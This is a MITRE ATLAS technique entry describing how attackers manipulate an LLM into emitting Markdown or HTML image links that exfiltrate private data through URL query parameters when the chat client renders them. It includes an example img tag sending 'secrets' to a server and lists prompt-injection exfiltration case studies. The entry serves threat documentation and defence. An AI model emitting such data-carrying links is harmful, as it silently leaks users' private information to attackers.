LLM Response Rendering
Description
Adversaries may induce a large language model (LLM) to respond with private information structured in a reference to external content that, when rendered by the user's client, makes a request to an adversary-controlled server, exfiltrating the data. The private information can be hidden from the user and the external content can still render properly in the user's client, thus not raising the suspicion of the user.
Rendered content can include images, embedded webpages, or link previews and may use HTML, Markdown, or other rendering mechanisms. The private information can be hidden in parts of the URL pointing to an adversary-controlled server, including query parameters or URL path segments, and may be split across multiple requests. Markdown or HTML image tags may automatically render directly in the user's AI chat client. Integrations into applications such as Slack or Microsoft Teams may render external content automatically without requiring the user to take any action.
As an example, the adversary may manipulate the LLM to produce the following markdown:
```

```
Which is rendered by the client as:
```
<img src="https://atlas.mitre.org/image.png?secrets="private data">
```
When the request is received by the adversary's server hosting the requested image, they receive the contents of the secrets query parameter.
- ATLAS ID
- AML.T0077
- Maturity
- DemonstratedShown to work in research or red-team exercises.
- Platforms
- Generative AIAgentic AI
Mitigations
ATLAS 2026.09 lists no mitigation for this technique.
Case studies that use it
- AML.CS0021ChatGPT Conversation Exfiltration
- AML.CS0029Google Bard Conversation Exfiltration
- AML.CS0035Data Exfiltration from Slack AI via Indirect Prompt Injection
- AML.CS0059EchoLeak: Zero-Click Prompt Injection Targeting M365 Copilot for Data Exfiltration
- AML.CS0060Cross-Site Scripting via Prompt Manipulation in Lenovo AI Chatbot